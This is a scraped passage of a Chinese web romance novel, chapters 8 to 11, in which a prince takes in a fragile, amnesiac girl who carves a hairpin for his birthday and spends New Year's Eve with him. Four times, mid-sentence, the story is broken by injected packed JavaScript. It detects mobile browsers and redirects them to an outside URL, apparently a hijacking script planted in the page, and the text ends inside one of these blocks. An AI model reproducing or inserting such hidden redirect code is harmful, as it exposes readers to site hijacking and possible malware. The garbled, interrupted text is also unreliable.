傅闻璟面色沉沉,挪走视线,微微撩开帘子透气。 8. 第 8 章 马车摇摇晃晃走了两日终于到了淮南府。 洛瑶掀开帘子趴在窗前,好奇地看着眼前的一切事物,“哥哥,那个是什么?” “哥哥,还有那个。” 洛瑶拉着傅闻璟的衣袖,虚虚地靠在他身旁,也不等傅闻璟讲解,兴致勃勃看着外面。冷风吹来,洛瑶吸了吸鼻子,傅闻璟把帘子放下,“天冷,小心着凉。” 话音刚落,就听到赵隋提醒,“王爷,王府到了。” 傅闻璟率先下马车,洛瑶学着傅闻璟的动作,从马车上一跃而下,但没站稳,好在一旁的傅闻璟眼疾手快,长臂一伸,把人捞进怀里,“小心些。” 洛瑶抬头,猝然对上傅闻璟幽深的眸子,心脏扑通扑通飞快跳起来,小脸飘起若有似无的红晕。 洛瑶轻轻应了声,站直身子,低着脑袋,轻咬下唇站在傅闻璟身侧,满脑子里都是傅闻璟方才的模样,以至于傅闻璟说什么都没听见。 “姑娘?姑娘?”林公公喊了洛瑶好几声,洛瑶才回过神来。 林公公身子胖胖,脸上挂着慈祥的笑容,是当年荣安长公主下嫁傅家时从内廷司带过来的人,看着洛瑶的眼神喜爱极了,就像看自家小辈一样。 “王爷先前给老奴传了信儿,让老奴给您安排院子,老奴思来想去,收拾了两个院子,一个是东南院的西溪花间,这个院里栽了各种花卉,等到春日繁花似锦,另一个在王爷院子旁边的浅云居,这个院子稍微简陋,但是离王爷的主院近。” 洛瑶想选择了浅云居。 倒是林公公犯难了,这浅云居真的是简陋到极致,原先他想着姑娘年纪小,肯定喜欢花花草草,才把西溪花间收拾出来。 “王爷,这……” “随她意吧,等天气暖和了,把西溪花间的花草移栽过来即可。” 林公公眉头抖了下,他记得王爷自那年起不喜欢花花草草,也不喜欢花香味,西溪花间的花卉香味浓郁,这…… 林公公想着又看了一眼和傅闻璟说话的洛瑶,王爷待这姑娘不一般。林公公敛了神思,连忙应了声,又拉了个小丫鬟上前,笑着说道:“这是月芽,以后就让她伺候姑娘的生活起居。” 洛瑶还是有些怕生人,躲在傅闻璟身后探出个脑袋来,睁着大眼好奇地看着月芽。月芽脸蛋圆圆的,像年画娃娃,笑起来十分可爱,倒是让洛瑶没有那么抗拒。 “我还要处理公务,你回院子歇息。”傅闻璟带着赵隋等人离开了。 离开前,赵隋还看了一眼洛瑶,吓得洛瑶立刻躲到了月芽身后。 月芽带着洛瑶去逛浅云居,先前她是负责院里洒扫的丫头,前些日子林公公忽然找到她,说是把她提拔成一等侍女,日后负责姑娘的饮食起居。 晋王府没有女主人,平日里只有王爷一人,冷冷清清的,月芽听林公公这么说,多少也有些好奇,等了好几日终于等到了林公公口中的姑娘,但是怎么看起来胆子小小的。 “这是正厅,这里是厢房,公公听说姑娘身子弱,前些天又给窗户加上一层窗棂纸,窗户关上后,屋子里便暖和了。” 月芽声音温柔,洛瑶也没有先前那般局促,便和月芽小声交流起来。 * 洛瑶体弱,很快便走不动,月芽给她拿了个手炉,“姑娘手冷,淮南天气不比扬州暖和,得仔细保暖。” 打眼一看,手炉十分精细,外面用的是上好的蜀锦,触感柔软顺滑。 “也是时候用晚膳了,姑娘是想要在院子里用,还是到王爷那边去?”月芽问道。 洛瑶抬眸看月芽,眼神希冀,“可以去哥哥那边吗?” 到了个陌生环境,洛瑶还是害怕,就像那天得知傅闻璟要送她去苏州那样,悬着的心落不到实处。整整一下午,傅闻璟没有去来找她,洛瑶虽然面上维持平静,但心中还是惴惴不安。 月芽笑着拿来一件披风,“姑娘若是想,那也是可以的,奴婢这就带姑娘过去。” 傅闻璟的院子就在洛瑶的旁边,走过去也就几步路的事情,淮南府今日天气尚可,白日里还有阳光,如今太阳下山,倒是有些许阴沉。 “怎么过来了?”傅闻璟和赵隋等人聊完公务,从书房出来就看到洛瑶过来,背着手站在檐下。 “哥哥!”洛瑶觉得自己肯定是不正常,才半日见不到傅闻璟,已经开始想念了。洛瑶小步跑过去,在傅闻璟身边站定,一双亮晶晶的眼睛看着傅闻璟,“阿瑶来找你一起用饭。” “跑慢些,脸都冻红了。” 洛瑶唔了声,看了眼傅闻璟,又低下脑袋。她想说这不是冻红的,自己怎么那么不争气,看哥哥一眼就心跳得特别快,脸还是红红的。 “走吧,传饭吧。” 洛瑶坐在傅闻璟身边,鼻子小心翼翼翕动,傅闻璟身上的檀香让她安心。 “愣着做什么,先用饭。”傅闻璟见洛瑶耸着鼻子轻嗅,提醒她用饭。 淮南府的饭菜偏辣,林公公担心洛瑶不习惯,让人特意做了两道口味偏甜的地扬州菜,洛瑶习惯性地夹她喜欢的菜放进傅闻璟碗里,林公公见状想要制止,却看到傅闻璟皱着眉夹起来放进嘴里。 真是稀奇。 林公公险些惊呼,要知道先前在皇宫那段日子,陛下夹菜给傅闻璟,傅闻璟都不会碰,如今倒是顺着姑娘了。林公公满眼慈爱看着傅闻璟,仿佛自家孩子长大了,会哄姑娘开心了。 傅闻璟倒没想那么多,洛瑶这个娇气包,说不得一句重话,不然马上掉小珍珠。 一顿饭,在场的人心思各异,洛瑶小口小口吃着扬州菜,时不时夹给傅闻璟,她不知道自己对傅闻璟是什么感情,她依赖傅闻璟,也想让他开心。 * 用饭后,洛瑶磨磨蹭蹭不肯离开,最后还是被月芽拉走了。 林公公准备热水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111437|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给傅闻璟沐浴,言语中又提起洛瑶院子里人少。 傅闻璟看他一眼,闭着眼靠在浴池边上,“洛大人和夫人身故,只剩下她,可能惨遭变故,什么都不记得,脾气娇又怕人,就让那个丫鬟照顾就好,不必安排太多人。” “哎哟,姑娘当真可怜,我得让月芽好生照顾她。”见傅闻璟没有反对,便继续说下去。 “前些天渔阳老宅来信,老夫人说您年纪不小了,是时候找个知心人了。” 傅闻璟冷哼,“是知心人,还是她想把她娘家的侄孙女嫁给我。” 林公公知道傅闻璟有气,不过这也怪老夫人这事做得不地道,想让王爷娶娘家的侄孙女,又何必做那些腌臜事,也不怪王爷一气之下会把她送回渔阳老宅。 “她脾气娇,又不记得事,这些事情别让她知道。” 傅闻璟脱口而出,说了之后自己也愣了愣,一旁的林公公笑得脸上满是褶子,“老奴知道,这些事情一定不让姑娘知道。” 傅闻璟见状也不过多解释,闭着眼睛继续泡澡。 * 洛瑶回到院子洗漱后躺在床上,月芽说陪她休息,但她不习惯陌生人在屋里。可是刚躺下,洛瑶就听到北风呼啸,抱紧被子缩在一旁,死死咬着嘴唇不敢发出声音。 院子里光秃秃的随风摇摆,在檐下宫灯幽暗灯光下,像极了张牙舞爪的怪物,映在床帐上,若隐若现。 洛瑶心理建设许久,鼓起勇气一骨碌爬起来,光着脚丫跑出院子,等守夜的月芽反应过来,她已经闯进傅闻璟的寝室。 “谁!”傅闻璟从枕头下拔出一把长剑,直抵洛瑶咽喉。 “是、是我,哥哥……我害怕……”洛瑶声音发抖,大大的眼眶兜不住泪水,像断线的小珍珠一样噼里啪啦掉下来,滴落在剑上,发出轻微的声音。 傅闻璟听到洛瑶的声音,收起剑,点燃烛火。洛瑶单薄的身子瑟瑟发抖,脚上沾满了雪和泥土,看得傅闻璟额角直跳。 “怎么不穿鞋?” 洛瑶哇的一声扑到傅闻璟怀里,双手死死抱着傅闻璟精瘦的腰,埋头进他胸前,哭得一抽一抽的,“我害怕,床上有怪物,它、它要吃我……” “别怕。”傅闻璟随手捞过一件披风罩在她身上,让赶过来的月芽给她准备一套新的衣服。 当晚,洛瑶抱着傅闻璟不肯松开,在傅闻璟的院里过了一晚上,檐下守夜的林公公无奈叹气,但又心感欣慰。 翌日一早,傅闻璟叫府医过来诊脉,诊断结果和扬州回春堂老大夫一样,“姑娘到了个陌生环境,加上之前心中的恐惧,才会加以联想自己吓自己。” 傅闻璟摆摆手,让府医下去后,看着缩在被窝里的洛瑶,鼻子眼睛红红的,像个被人扔下的可怜兮兮小兔子。傅闻璟再次感叹小丫头难养,叮嘱洛瑶的语气难免严肃,又拧着眉吩咐,“屋内备多一张榻,这些日子先住我屋里。” 9. 第 9 章 洛瑶捧着药碗边吸着鼻子边喝药,府医开的要比老大夫的还要苦,洛瑶小脸蛋皱成一团。她喝两口就抬头看傅闻璟,本想撒娇,但见傅闻璟眸色微沉,也不敢说话。 洛瑶眼角泛着泪光,小口小口地喝药,小半个时辰,总算是见底了,月芽端来果脯,洛瑶连忙塞了一个进嘴里,甜得她眯起了眼。 傅闻璟好些日子没去衙署,衙署积压了不少公务,这十来日都早出晚归,洛瑶醒来都看不到傅闻璟的身影,倒是晚上能等到傅闻璟回来一同用饭。 “林公公,今年除夕还是跟往常一样吗?” “一切照旧吧,自从长公主去世后,王爷都不愿意过生辰了,今年也没什么特殊……” 林公公话还没说完,听到洛瑶的声音,“生辰?” “要到哥哥生辰了吗?” 林公公看到洛瑶过来,眼前一亮。对啊,怎么把洛姑娘忘记了,这些天洛姑娘宿在王爷院里,而且洛姑娘来了之后,感觉王爷也轻松了不少。 “是呀姑娘,”林公公眼珠子一转,立刻就有主意了,“姑娘不知道王爷命苦,幼失怙恃,在宫里孤苦无依长大,自从长公主去世后,王爷就没有过过生辰了,府里除夕宴也没有大办,王府冷冷清清好多年了。” 洛瑶眉头微蹙,原来哥哥和她一样,这么可怜啊…… “是呀姑娘,老奴看王爷这样心疼极了,老奴……” “林公公别老奴了,姑娘走了。” 林公公还打算继续帮傅闻璟卖惨,洛瑶却晃着一枝红梅,若有所思地走了。 姑娘还是小孩子心性。 林公公嘴里小孩子心性的洛瑶回去之后找到月芽,“平时生辰一般会送什么?” “一般是古董字画、金银玉器这些,”月芽拿了个手炉给洛瑶,又确认洛瑶手心是暖的才放心,“姑娘想送给王爷?” 洛瑶点点头,脸颊微热。 傅闻璟救下她,是她的救命恩人,还不嫌她麻烦,把她带回王府,不说别的,光是这救命恩情,送个生辰礼一点也不过分。 “姑娘可要出门去看看,前些日子我听同屋的小丫头说,新开了一家饰品铺子,姑娘可以给王爷挑个玉佩之类的。” 谦谦君子,温润如玉。洛瑶觉得这个主意甚好,正打算答应时,她忽然发现自己——没有钱,瞬间泄气了,软趴趴地趴在做桌上,“我没有银子……” 月芽一愣,想起林公公先前的交代,这才发现自己说错话,“不如姑娘做个荷包?” “荷包简单,姑娘亲手做更显得礼轻情意重。” 洛瑶杏眼亮了亮,然后想起自己不善女红。不是不善,是根本不会。洛瑶眼珠子左右转动,对上月芽的视线,脑袋中闪过一个主意,拉着月芽坐下,“你会女工吗?能教我不?” 月芽愣了愣,转而点点头。 连续三天,洛瑶都跟着月芽学习女工,成品没有一个,倒是洛瑶十指都被刺得伤痕累累,以至于晚上用饭时险些被傅闻璟发现。 “姑娘,要不咱们放弃吧。”月芽看着手中走线跟蜈蚣差不多的四不像荷包,一脸无奈地建议。 洛瑶一愣,拿过荷包,这不……挺好的吗,“不行,月芽你怎么能随便放弃呢,我都没有放弃。” 月芽这些日子也算是摸清了洛瑶的性格,拎起荷包悬在洛瑶面前,“姑娘,你摸着你的良心说,这个荷包当真好看么?” “嗯……我觉得……”洛瑶小脸蹭的红起来,一把把荷包抓下来藏在身后,褐色的眼珠子左右瞟,脸上尽是尴尬和心虚。 “那你说怎么办,还有几日就到除夕了,我又没银子——” “哎哟,谁把这匣子清出来的,里面都是贵重物品。” 窗外传来林公公尖细的嗓音,洛瑶起身推开琉璃窗,趴在窗沿,“公公,怎么了?”洛瑶突然出现,把林公公吓得身子抖了抖。 林公公瞧见把半个身子探出去窗口的洛瑶,吓得三魂不见七魄,“姑奶奶,小祖宗,你当心些,要是摔着了,又该疼了。” 见洛瑶缩回去,林公公才解释,“这匣子都是王爷儿时的物件,平日里放在库房不动,这不看着马上到除夕了,老奴便让人清点一下库房,那曾想这些人把这匣子都清出来,乱糟糟的,有些旧物件都坏了。” 洛瑶瞥见匣子里有一根木簪子,倒是好奇,“那是个木簪子?” “姑娘好眼力,是当年侯爷还在时做给王爷的,但是没有完工,侯爷去世后,王爷就把它收起来了,”林公公宝贝似地拿起簪子递给洛瑶,“当时侯爷打算给王爷做一根松柏簪子,寓意松柏之质,经霜弥茂??。” 洛瑶仔细打量木簪子,然后小心翼翼放回匣子,又拉着林公公小声说了好些,最后林公公一脸喜意离开了。 洛瑶坐回塌上,一脸认真看着月芽,“我知道送什么生辰礼了。” “簪子?”月芽试探性开口。 洛瑶点点头,“府里有没有手工匠人?我想让他们教我。” 月芽叹了口气,原本规劝的话咽了下去,算了算了,就让姑娘去弄吧,自己在旁边看着点。 府里的手工匠人老张给洛瑶准备了一套工具,仔细跟洛瑶讲解每一个工具怎么用,然后——洛瑶光荣负伤了。 “姑娘不如让老张帮您做吧,”月芽皱眉看着洛瑶划了好几道伤口的手,“您这手已经千疮百孔了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111438|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事,不碍事。”洛瑶大手一挥,拿起刻刀继续雕刻,看得月芽心惊胆战。 当晚,傅闻璟从衙署回来,洛瑶像往常一样在门口等他。 “哥哥快进来,外面风大,”洛瑶拉着傅闻璟进屋,把他按在凳子上坐下,给他舀了一碗汤,“这是林公公让人做的鸡汤,喝点暖暖身子。” 洛瑶一天都在屋里,熏笼熏得脸蛋红红的,像一颗熟透的苹果。这些天洛瑶好了些许,每日等傅闻璟从衙署回来一同用饭,然后在饭桌上叽叽喳喳说着每天发生的事情。 平日冷清的王府忽然有人在等你回家,傅闻璟觉得这样的日子不错,也许这就是稀松平常的温情。 傅闻璟接过碗喝了一口,视线不经意看到洛瑶的手划了好几道口子,“手怎么了?” 洛瑶眉头一跳,把手放下藏进桌子底下,眼神飘忽,十分心虚,“没什么,一时贪玩不小心划伤了。” 说完又怕傅闻璟不相信,竖起食指递到傅闻璟眼前,“你看,就一点小伤口,不碍事的。” 傅闻璟定定看着洛瑶,看到她心虚,良久才说道,“嗯,吃饭吧,晚点让丫鬟给你上药。” 洛瑶见他没继续追问,眼珠子转了转,胡乱点头,然后埋头苦吃。 行啊,小丫头藏事了。傅闻璟忽然觉得心里多少有些不爽利,之前事事分享事事依赖自己的人,现在开始有秘密了。 用饭后,傅闻璟去了书房,见他离开,洛瑶和月芽才松了一口气。 书房里,林公公在傅闻璟跟前伺候,屋里气氛低低的,林公公站在一旁,大气不敢出。 “今日她去哪了,见了什么人。”半傅闻璟手里的书半天没翻页。 林公公扯了扯嘴角,露出个与平日无异的笑容,“姑娘今儿一天都在屋里,没有去过哪了,跟月芽说说话,看月芽做女工。” “是么?” “确实是这样。”林公公忽然觉得屋内的炭火有点旺盛,后背竟出汗了。 傅闻璟嗤笑,随手把书扔在桌子上,“最好是这样。” 林公公跟在傅闻璟身后,叫苦不迭,都是祖宗,他惹不起。 傅闻璟回到卧房时,洛瑶已经抱着被子睡着了。这些日子,洛瑶逐渐熟悉王府环境,倒是不大需要傅闻璟陪着才能睡着,不过夜里还是害怕自己在一个屋子里,今日刻簪子耗费极大的心力,洛瑶本想等傅闻璟回来,没想到先睡过去了。 傅闻璟给洛瑶掖了掖被角,下意识点了一下洛瑶的脑袋,“小没良心,我救你回来,你居然对我藏秘密了。” 睡梦中的洛瑶感觉额头有东西,翻个身,又继续睡去。傅闻璟见状,无奈摇头轻笑,真真是没良心的个小丫头。 10. 第 10 章 洛瑶紧赶慢赶,总算在除夕前一天做好了簪子。她让月芽准备了盒子,把簪子妥帖的放进盒子里,再藏进枕头下,把周围整理到看不出痕迹,确保万无一失,然后拍拍枕头,“你就乖乖在这等着。” 除夕当天,傅闻璟难得休沐,但洛瑶一早上起来,没见着人,又听月芽说傅闻璟在书房。洛瑶用饭后本想去找傅闻璟,却被月芽拦住了,“王爷在书房议事,平日里也不让人靠近,姑娘还是别去了吧,省得王爷生气。” 月芽来王府日子不长,但傅闻璟冷面冷情的模样着实吓人,王府的侍女没几个不怕的。反倒是林公公,一天天笑得像个弥勒佛一样,相处起来轻松些。 月芽也是好奇洛瑶为什么不害怕。 洛瑶嘟了嘟嘴,眼巴巴看着书房的方向,“好吧。” “姑娘、姑娘。”洛瑶话落,就听到了林公公的声音,打眼一看,找了半天才发现他躲在假山后朝自己招手。 洛瑶拉着月芽过去,三人躲在假山里密谋了半天,最后洛瑶满意地走出假山,却迎面遇到面色阴沉的傅闻璟。 说是遇上也说不对,林公公喊洛瑶时,傅闻璟正好从书房出来,就看到洛瑶拉着月芽蹦蹦跳跳过去,好不开心。 傅闻璟幽深的眸子紧紧盯着洛瑶,他身旁的赵隋和蒋明明显感到不对劲,面面相觑,又不敢说。 “聊什么呢,这么开心?”傅闻璟冰冷的嗓音冷不丁出现,假山里的林公公和月芽瞬间腿软,相互依靠大气不敢出。 相比之下洛瑶就不一样,她看到傅闻璟出现,眼睛都亮了,小跑过去,却不小心和赵隋的视线对上。她脚步一顿,眼神怯怯地,脚下拐了个弯,快速跑到傅闻璟身边,挽着傅闻璟的手臂,偷偷用脸颊蹭了蹭傅闻璟的手臂,脸上是比太阳还要明媚的笑容,“没什么呢,今天是除夕,哥哥我们去挂灯笼。” 说着就把傅闻璟拉走,傅闻璟深深地看了眼假山里装鹌鹑的两人,然后跟着洛瑶离开。 直到傅闻璟等人离开,林公公和月芽松了一口气,紧绷的神经放松下来,月芽瞬间瘫坐在雪地里。 * 洛瑶所谓的挂灯笼,是她来指挥,傅闻璟来挂,“左边一点,诶诶,右边一点,好了。” 傅闻璟利落地从梯子上跳下来,洛瑶小跑到他跟前,微风吹过,拂开洛瑶额前的刘海,露出一双漂亮眼睛,“哥哥真厉害!” 傅闻璟回头看了眼挂满灯笼的回廊,好像府上好久没有这么热闹了。 挺好的。 傅闻璟嘴角勾起个不易察觉的弧度,“就你嘴甜,倒是越发放肆了。” “嘻嘻,因为哥哥不会骂我呀,”洛瑶抱着傅闻璟的胳膊摇晃,“哥哥是天底下最好的哥哥。” 一旁的蒋明看着傅闻璟,捂脸摇头,对上傅闻璟的视线,连忙拿着灯笼上去,“姑娘,还要挂哪里?” “都挂上了。”洛瑶扫了一眼挂满红灯笼的廊下,这才有过年的氛围嘛,先前冷冷清清的,一点也不热闹。 “那属下把它们都带走了,沾沾喜气。”蒋明朝傅闻璟拱手告退。 “好呀,祝蒋大哥新年平安喜乐,岁岁长欢。”洛瑶站在傅闻璟身边跟蒋明挥手。 “进屋了,天冷,”傅闻璟垂下眼睑,看了眼笑意盈盈的洛瑶,面无表情地理了理她的衣领,然后大手握住洛瑶的小手,冷哼道,“你手冷。” “嘿嘿,这样就不冷了。”洛瑶举起两人交握的手,晃了晃。 这样,暖极了。 “王爷长大了,会哄女孩子了,长公主和侯爷可以安息了。”假山旁的林公公激动地抹眼泪,而月芽一脸嫌弃看着他。 * 当晚,洛瑶和傅闻璟坐在圆桌前吃涮锅,林公公和月芽在一旁另开一桌,林公公激动地吃不下。 姑娘好,姑娘好啊,姑娘多贴心,还给王爷夹菜,老奴好久没见过王爷这么开心了。 “时候不早了,该歇息了。”用完饭又洗漱后,傅闻璟说道。 洛瑶眼珠子一转,对上林公公的视线,拉着傅闻璟的衣袖,“今天是除夕耶,哥哥不守岁吗?” 傅闻璟看了一眼洛瑶,又扫了一眼挤眉弄眼的林公公,脸色微沉,压住心口涌起奇怪的情绪,沉声道:“王府没有守岁的习惯。” “可是我想守岁,”洛瑶撅了撅嘴,拉着傅闻璟的衣袖不放手,“一起守岁嘛,哥哥~” 洛瑶大有傅闻璟不答应就哭出来的架势,傅闻璟嘴上说着守岁没意义,但还是陪着洛瑶。 林公公立马点起火炉,又准备了不少零嘴放在洛瑶身边,洛瑶紧紧挨着傅闻璟坐,时不时往火炉里扔个栗子,拉着傅闻璟叽叽喳喳说话。 傅闻璟坐在洛瑶身旁,火炉温暖的光线,炭火燃烧的哔剥声,还有烤栗子的香气。洛瑶和月芽坐在毯子上玩双陆,小小的身子虚靠着自己,鼻尖是洛瑶常用的玫瑰熏香,一旁林公公边烤栗子边给洛瑶出谋划策。 傅闻璟觉得这些年压在心口的大山猛地被移开了,这不就是他曾经所期盼的吗。这些天不管回府多晚,院子里都有一盏灯等着自己,不像之前那样,冰冷黑暗。 傅闻璟嘴角微勾,纤长的手指捞过一颗烤开的栗子,剥开外壳,细细褪去栗子皮,露出一颗完整的栗子,长臂一伸送到洛瑶嘴边。 洛瑶此刻玩得正上头,张嘴便把栗子含进去,柔软的唇瓣不小碰到傅闻璟的手指,想小松鼠一样咬着嘴里的栗子,转头朝傅闻璟一笑,“好甜,谢谢哥哥。” 傅闻璟收回手,指尖摩挲,避开洛瑶的视线,拿起一颗栗子剥开放进嘴里。 嗯,确实很甜。 临近子时,洛瑶也玩不动了,林公公和月芽也不知道跑去哪了。 傅闻璟忽然感觉肩膀一重,洛瑶靠着她的肩膀打瞌睡,脑袋一点一点,傅闻璟摇头轻笑,准备把她抱上床榻休息,却不想惊醒洛瑶。 “回去休息吧。”傅闻璟掂了掂怀里的人,比帮个月前重了些许。 “不要!”洛瑶迷迷瞪瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111439|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼睛,挣扎着就要下来,“还没到子时。” 话落,屋里的更漏响了,“子时了,回去休息,”傅闻璟扶稳洛瑶的身子,拍拍她的脑袋,“小丫头睡不好长不高的。” 洛瑶不等他说完,拉着人往院里跑,手指指向天空,“哥哥快看!” 一朵朵璀璨的烟花在半空盛开,光芒映在两人脸上,洛瑶抬头看着傅闻璟,询问道:“好看吗?” 傅闻璟闻言低头和洛瑶对视,在洛瑶褐色的眸子里看到绚烂的烟火,还有自己逐渐清晰的影子。 自从母亲去世后,淮南府再也没有人放烟火了,这是…… 傅闻璟觉得胸腔下的心脏跳得好快,一下一下冲击着胸腔,像是冲破胸腔的束缚。 傅闻璟垂眸对上洛瑶的目光,雪花飘落,落在小丫头的额头,但小丫头还没有发现,一脸期待,脸上带着明媚的笑容看着自己。 傅闻璟嗯了一声,又担心声音太小洛瑶听不到,傅闻璟抬手擦去洛瑶额头的雪花,“嗯,还行。” “快许愿,”洛瑶拉着傅闻璟的手双手合十,“我听人说,对着烟火许愿,愿望可以实现。” 傅闻璟一顿,他从来不相信这些虚无缥缈的东西,人要什么就要自己争取,“我不相信这……” 洛瑶没等他说完双手合十,闭着眼睛,脸上带着笑容,十分虔诚认真地许愿,傅闻璟扯了扯嘴唇,定定地看着烟火出神。 烟火停了后,洛瑶抬头对着傅闻璟,“哥哥许了什么愿?” 傅闻璟到嘴边的话一转,“愿国泰民安吧。” “噢,”洛瑶眼珠子一转,歪着脑袋看向傅闻璟,笑意盈盈,“哥哥不问我许了什么愿吗?” 洛瑶一脸期待,等着傅闻璟问她。傅闻璟顺着她的话,“那你呢?” “我希望哥哥开心,无忧无虑。” “那你自己呢?” 洛瑶疑惑,她不是说了么? 傅闻璟意识到自己没表述清楚,又说道,“你没有给自己许愿吗?” “我不用许愿呀,我的愿望已经实现了,”洛瑶拉着傅闻璟的手笑起来,“我的愿望希望哥哥健康平安快乐,现在已经实现了~” 傅闻璟一愣,这个傻丫头。 “还有呢,哥哥快来。”洛瑶拉着傅闻璟到后花园,林公公和月芽在前边点烟火,见两人来了,林公公连忙上前递火折子,“就等王爷和姑娘点挂鞭了。” 洛瑶不敢点,连忙拉了一把傅闻璟,“哥哥点。” “好。”傅闻璟拿过火折子,往前走几步,点燃挂鞭后大步回到洛瑶身边,林公公见状连忙接过火折子。 洛瑶双手捂着耳朵,仰头看傅闻璟,笑容比方才的烟火还灿烂。从傅闻璟的视角只能看到洛瑶嘴唇动了,却听不清她说什么。 傅闻璟眸子微动,高大的身子微微前倾,像是把洛瑶搂在怀中。 还是这样热热闹闹的好。林公公笑得满脸褶子,一旁的月芽倒是心事重重,高兴不起来。 11. 第 11 章 挂鞭在空中炸开,吓得洛瑶瑟缩了一下,脚下一滑,整个人往一旁歪去,傅闻璟下意识扶着洛瑶的手臂,“小心些。” 洛瑶“蹭”地脸红了,方才哥哥在她耳边说话,耳边是他温热的气息,身后也是他温暖的怀抱,心脏不听话地猛跳。 洛瑶小声地嗯了一声,轻轻地、不着痕迹地靠着傅闻璟的胸膛。 我就靠一下,就一下。 洛瑶的发髻不小心碰到傅闻璟的下巴,傅闻璟顺着往下看,只看到洛瑶通红的耳朵,他抬手碰了碰,“太冷了吗,耳朵了都红了。” “不冷。”洛瑶心脏砰砰直跳,脸蛋和耳朵不争气地越发地红了。 挂鞭的声音过大,傅闻璟没听清洛瑶的声音,挂鞭燃尽,雪白的地上覆满了红纸碎屑,显得格外热闹,见洛瑶打了呵欠,傅闻璟便说,“时候不早了,回屋休息吧。” 洛瑶也估摸差不多了,拉着傅闻璟的狐裘蹦蹦跳跳往回走。 “地上滑。”傅闻璟心情不错,嘴角微微翘起,担心洛瑶摔着,长臂护在洛瑶身后,眼带笑意盯着洛瑶。 回到屋里,傅闻璟解下狐裘放在衣桁上,回身关门时洛瑶跑了过来,“哥哥辛苦了,你先洗漱,我来关门。”边说边把傅闻璟往里面推。 傅闻璟挑了挑眉,事出反常必有妖。但洛瑶不说,傅闻璟又不好问,顺着她的力道往里走,回眸看着洛瑶跑到门口。 过了好一会,没等到洛瑶回来,傅闻璟出来查看时看到洛瑶捧着碗,一步一步走得格外小心。 “哥哥!”洛瑶看到傅闻璟,脸上绽放比春花还要灿烂的笑容,小步快走到了傅闻璟面前,手上的碗稳稳当当。 傅闻璟垂眸看洛瑶手里的碗,一碗面条,他难免猜测,“这……” “长寿面!南山有桑,北山有杨,乐只君子,万寿无疆。哥哥生辰快乐。”洛瑶把碗一送,捧着碗的指尖微红,许是冷,又许是烫,但脸上的笑容半分未减。 傅闻璟一愣,脸色凝滞,嘴上毫不在意,“一个生辰而已。” 洛瑶捧着长寿面,不解地说道:“怎么会,生辰就是个重要的日子,哥哥快些吃,长寿面寓意健康长寿。” “我不爱吃长寿面。” 傅闻璟嘴上这么说,但遇上比他还倔洛瑶,倒吃得十分认真,像是在吃世界上最美味的食物一样。 “好吃吗?”洛瑶坐在傅闻璟身旁,小手撑着腮帮子,眼睛一眨不眨地看着傅闻璟吃。 哥哥吃东西的仪态真好,不像自己,狼吞虎咽,一点也不斯文。 “还行。”傅闻璟面色不便,但吃面的速度快了不少。 门外的林公公探了半个身子进来,竖着耳朵听两人说话,一边着急傅闻璟怎么这么说话,一边又忍不住热泪盈眶。 “公公,擦擦,太埋汰了。”月芽面无表情拿出一张帕子递给他。 “呜呜呜,姑娘是个好孩子,月芽你也是个好孩子,公公没有子女,要不你认我做干爹吧。” 月芽:…… * 傅闻璟很快用完,更漏也再次敲响,傅闻璟淡淡道:“时候不早了歇息吧。”说罢往里屋里走。 “好好歇息,已经很晚了。”傅闻璟隔着屏风提醒洛瑶。 洛瑶嘴上应着,弯腰翻找,拿着盒子背着手,迈着俏皮的步伐走到傅闻璟榻边上。 “怎么了?害怕?” 傅闻璟起身,他以为洛瑶又像先前那样,害怕自己一个人休息,“府里人多着呢,我也在。” 洛瑶抿唇摇头,笑容如春花明媚,从身后拿出盒子,“噔噔噔噔,这个生辰礼。” 洛瑶捧着盒子,一脸期待看着傅闻璟,盈盈水眸看着傅闻璟打开盒子。 “这是我亲手做的松柏簪子,我听林公公说,先前哥哥的爹爹给哥哥做了一个簪子,但是没做好,我想这个簪子对哥哥来说肯定十分重要,就找了木工师傅教我做簪子,我不熟悉那些工具,做坏了好几个才终于把它做好呢~”洛瑶凑到傅闻璟盯着他的动作。 傅闻璟拿着做工稍显粗糙的簪子,脑海里浮现前些天洛瑶伤痕累累的手。 原来是给他做簪子。 洛瑶看着傅闻璟逐渐沉重的脸色,等了半天也没等到傅闻璟回应,开始不安起来。 “是不是我做错了?”洛瑶慢慢垂下脑袋,贝齿咬着下唇,“是我不好,我不应该……” “不是,你别自责,”傅闻璟深吸一口气,把簪子放进盒子里,随手放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 